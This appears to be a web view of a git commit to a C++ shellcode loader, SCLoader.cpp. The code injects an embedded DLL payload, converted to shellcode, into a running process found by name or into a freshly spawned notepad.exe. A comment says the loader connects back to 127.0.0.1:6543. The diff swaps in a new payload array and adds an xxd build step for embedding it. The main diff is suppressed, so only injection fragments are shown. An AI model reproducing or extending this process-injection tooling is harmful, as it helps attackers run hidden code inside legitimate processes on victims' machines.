TestRun: Update SCLoader.cpp
This commit is contained in:
77629
client/SCLoader.cpp
77629
client/SCLoader.cpp
File diff suppressed because it is too large
Load Diff
@@ -5,6 +5,7 @@
|
|||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <tlhelp32.h>
|
#include <tlhelp32.h>
|
||||||
// A shell code loader connect to 127.0.0.1:6543.
|
// A shell code loader connect to 127.0.0.1:6543.
|
||||||
|
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
||||||
#include "SCLoader.cpp"
|
#include "SCLoader.cpp"
|
||||||
|
|
||||||
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
|
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
|
||||||
@@ -18,7 +19,7 @@ public:
|
|||||||
int InjectProcess(const char* processName = nullptr) {
|
int InjectProcess(const char* processName = nullptr) {
|
||||||
if (processName) {
|
if (processName) {
|
||||||
auto pid = GetProcessIdByName(processName);
|
auto pid = GetProcessIdByName(processName);
|
||||||
if (pid ? InjectShellcode(pid, (BYTE*)Loader, sizeof(Loader)) : false)
|
if (pid ? InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) : false)
|
||||||
return pid;
|
return pid;
|
||||||
}
|
}
|
||||||
PROCESS_INFORMATION pi = {};
|
PROCESS_INFORMATION pi = {};
|
||||||
@@ -28,7 +29,7 @@ public:
|
|||||||
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
|
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
|
||||||
CloseHandle(pi.hProcess);
|
CloseHandle(pi.hProcess);
|
||||||
CloseHandle(pi.hThread);
|
CloseHandle(pi.hThread);
|
||||||
return InjectShellcode(pi.dwProcessId, (BYTE*)Loader, sizeof(Loader)) ? pi.dwProcessId : 0;
|
return InjectShellcode(pi.dwProcessId, (BYTE*)TinyRun_dll, TinyRun_dll_len) ? pi.dwProcessId : 0;
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user